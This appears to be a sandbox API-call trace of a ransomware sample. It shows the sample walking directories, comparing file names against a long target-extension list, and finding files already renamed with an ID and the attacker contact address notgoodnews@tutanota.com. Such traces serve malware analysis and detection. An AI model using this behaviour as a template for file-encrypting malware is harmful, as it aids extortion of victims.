lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.206] lstrlenW (lpString=".hdr") returned 4 [0157.206] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".hpp") returned 4 [0157.206] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".hta") returned 4 [0157.206] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".htc") returned 4 [0157.207] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".htm") returned 4 [0157.207] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".html") returned 5 [0157.207] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.207] lstrlenW (lpString=".icb") returned 4 [0157.207] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".ics") returned 4 [0157.207] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".iff") returned 4 [0157.207] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".inc") returned 4 [0157.207] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".indd") returned 5 [0157.207] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.207] lstrlenW (lpString=".ini") returned 4 [0157.207] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".iqy") returned 4 [0157.207] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".j2c") returned 4 [0157.207] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".j2k") returned 4 [0157.207] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".java") returned 5 [0157.207] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.207] lstrlenW (lpString=".jp2") returned 4 [0157.207] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".jpc") returned 4 [0157.207] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".jpe") returned 4 [0157.207] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".jpeg") returned 5 [0157.207] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.207] lstrlenW (lpString=".jpf") returned 4 [0157.207] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.207] lstrlenW (lpString=".jpg") returned 4 [0157.207] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".jpx") returned 4 [0157.208] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".js") returned 3 [0157.208] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.208] lstrlenW (lpString=".jsf") returned 4 [0157.208] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".json") returned 5 [0157.208] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.208] lstrlenW (lpString=".jsp") returned 4 [0157.208] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".kdc") returned 4 [0157.208] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".kmz") returned 4 [0157.208] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".kwm") returned 4 [0157.208] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".lasso") returned 6 [0157.208] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.208] lstrlenW (lpString=".lbi") returned 4 [0157.208] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".lgf") returned 4 [0157.208] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".lgp") returned 4 [0157.208] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".log") returned 4 [0157.208] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".m1v") returned 4 [0157.208] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".m4a") returned 4 [0157.208] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".m4v") returned 4 [0157.208] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".max") returned 4 [0157.208] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.208] lstrlenW (lpString=".md") returned 3 [0157.208] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.208] lstrlenW (lpString=".mda") returned 4 [0157.208] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mdb") returned 4 [0157.209] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mde") returned 4 [0157.209] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mdf") returned 4 [0157.209] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mdw") returned 4 [0157.209] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mef") returned 4 [0157.209] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mft") returned 4 [0157.209] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mfw") returned 4 [0157.209] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mht") returned 4 [0157.209] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mhtml") returned 6 [0157.209] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.209] lstrlenW (lpString=".mka") returned 4 [0157.209] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mkidx") returned 6 [0157.209] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.209] lstrlenW (lpString=".mkv") returned 4 [0157.209] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mos") returned 4 [0157.209] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mov") returned 4 [0157.209] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mp3") returned 4 [0157.209] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mp4") returned 4 [0157.209] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mpeg") returned 5 [0157.209] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.209] lstrlenW (lpString=".mpg") returned 4 [0157.209] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.209] lstrlenW (lpString=".mpv") returned 4 [0157.210] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".mrw") returned 4 [0157.210] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".msg") returned 4 [0157.210] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".mxl") returned 4 [0157.210] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".myd") returned 4 [0157.210] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".myi") returned 4 [0157.210] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".nef") returned 4 [0157.210] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".nrw") returned 4 [0157.210] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".obj") returned 4 [0157.210] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".odb") returned 4 [0157.210] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".odc") returned 4 [0157.210] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".odm") returned 4 [0157.210] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".odp") returned 4 [0157.210] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".ods") returned 4 [0157.210] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".oft") returned 4 [0157.210] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".one") returned 4 [0157.210] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".onepkg") returned 7 [0157.210] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.210] lstrlenW (lpString=".onetoc2") returned 8 [0157.210] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.210] lstrlenW (lpString=".opt") returned 4 [0157.210] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.210] lstrlenW (lpString=".oqy") returned 4 [0157.211] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".orf") returned 4 [0157.211] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".p12") returned 4 [0157.211] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".p7b") returned 4 [0157.211] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".p7c") returned 4 [0157.211] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pam") returned 4 [0157.211] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pbm") returned 4 [0157.211] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pct") returned 4 [0157.211] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pcx") returned 4 [0157.211] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pdd") returned 4 [0157.211] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pdf") returned 4 [0157.211] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pdp") returned 4 [0157.211] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pef") returned 4 [0157.211] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pem") returned 4 [0157.211] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pff") returned 4 [0157.211] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pfm") returned 4 [0157.211] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pfx") returned 4 [0157.211] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".pgm") returned 4 [0157.211] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".php") returned 4 [0157.211] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.211] lstrlenW (lpString=".php3") returned 5 [0157.212] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".php4") returned 5 [0157.212] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".php5") returned 5 [0157.212] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".phtml") returned 6 [0157.212] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.212] lstrlenW (lpString=".pict") returned 5 [0157.212] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".pl") returned 3 [0157.212] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.212] lstrlenW (lpString=".pls") returned 4 [0157.212] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".pm") returned 3 [0157.212] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.212] lstrlenW (lpString=".png") returned 4 [0157.212] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".pnm") returned 4 [0157.212] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".pot") returned 4 [0157.212] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".potm") returned 5 [0157.212] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".potx") returned 5 [0157.212] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".ppa") returned 4 [0157.212] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".ppam") returned 5 [0157.212] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".ppm") returned 4 [0157.212] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".pps") returned 4 [0157.212] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".ppsm") returned 5 [0157.212] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.212] lstrlenW (lpString=".ppt") returned 4 [0157.212] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.212] lstrlenW (lpString=".pptm") returned 5 [0157.213] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.213] lstrlenW (lpString=".pptx") returned 5 [0157.213] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.213] lstrlenW (lpString=".prn") returned 4 [0157.213] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".ps") returned 3 [0157.213] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.213] lstrlenW (lpString=".psb") returned 4 [0157.213] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".psd") returned 4 [0157.213] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".pst") returned 4 [0157.213] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".ptx") returned 4 [0157.213] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".pub") returned 4 [0157.213] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".pwm") returned 4 [0157.213] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".pxr") returned 4 [0157.213] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".py") returned 3 [0157.213] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.213] lstrlenW (lpString=".qt") returned 3 [0157.213] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.213] lstrlenW (lpString=".r3d") returned 4 [0157.213] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".raf") returned 4 [0157.213] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".rar") returned 4 [0157.213] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0157.213] lstrlenW (lpString=".raw") returned 4 [0157.213] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0157.213] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38b81a76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38b81a76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ba7bd3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.214] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37ed85ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37ed85ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.214] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37ed85ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37ed85ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.214] FindClose (in: hFindFile=0x484798 | out: hFindFile=0x484798) returned 1 [0157.215] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.215] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0157.215] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.215] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484658 [0157.320] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.320] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ba7bd3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ba7bd3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bcdefc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.320] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.320] lstrlenW (lpString=".1cd") returned 4 [0157.320] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.320] lstrlenW (lpString=".3ds") returned 4 [0157.320] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.320] lstrlenW (lpString=".3fr") returned 4 [0157.320] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.320] lstrlenW (lpString=".3g2") returned 4 [0157.320] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.320] lstrlenW (lpString=".3gp") returned 4 [0157.321] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".7z") returned 3 [0157.321] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.321] lstrlenW (lpString=".accda") returned 6 [0157.321] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.321] lstrlenW (lpString=".accdb") returned 6 [0157.321] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.321] lstrlenW (lpString=".accdc") returned 6 [0157.321] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.321] lstrlenW (lpString=".accde") returned 6 [0157.321] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.321] lstrlenW (lpString=".accdt") returned 6 [0157.321] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.321] lstrlenW (lpString=".accdw") returned 6 [0157.321] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.321] lstrlenW (lpString=".adb") returned 4 [0157.321] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".adp") returned 4 [0157.321] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".ai") returned 3 [0157.321] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.321] lstrlenW (lpString=".ai3") returned 4 [0157.321] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".ai4") returned 4 [0157.321] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".ai5") returned 4 [0157.321] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".ai6") returned 4 [0157.321] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".ai7") returned 4 [0157.321] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".ai8") returned 4 [0157.321] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.321] lstrlenW (lpString=".anim") returned 5 [0157.321] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.321] lstrlenW (lpString=".arw") returned 4 [0157.321] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".as") returned 3 [0157.322] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.322] lstrlenW (lpString=".asa") returned 4 [0157.322] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".asc") returned 4 [0157.322] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".ascx") returned 5 [0157.322] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.322] lstrlenW (lpString=".asm") returned 4 [0157.322] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".asmx") returned 5 [0157.322] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.322] lstrlenW (lpString=".asp") returned 4 [0157.322] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".aspx") returned 5 [0157.322] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.322] lstrlenW (lpString=".asr") returned 4 [0157.322] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".asx") returned 4 [0157.322] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".avi") returned 4 [0157.322] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".avs") returned 4 [0157.322] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.322] lstrlenW (lpString=".backup") returned 7 [0157.323] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.323] lstrlenW (lpString=".bak") returned 4 [0157.323] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".bay") returned 4 [0157.323] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".bd") returned 3 [0157.323] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.323] lstrlenW (lpString=".bin") returned 4 [0157.323] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".bmp") returned 4 [0157.323] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".bz2") returned 4 [0157.323] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".c") returned 2 [0157.323] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.323] lstrlenW (lpString=".cdr") returned 4 [0157.323] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".cer") returned 4 [0157.323] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".cf") returned 3 [0157.323] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.323] lstrlenW (lpString=".cfc") returned 4 [0157.323] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".cfm") returned 4 [0157.323] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".cfml") returned 5 [0157.323] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.323] lstrlenW (lpString=".cfu") returned 4 [0157.323] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".chm") returned 4 [0157.323] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.323] lstrlenW (lpString=".cin") returned 4 [0157.324] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".class") returned 6 [0157.324] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.324] lstrlenW (lpString=".clx") returned 4 [0157.324] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".config") returned 7 [0157.324] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 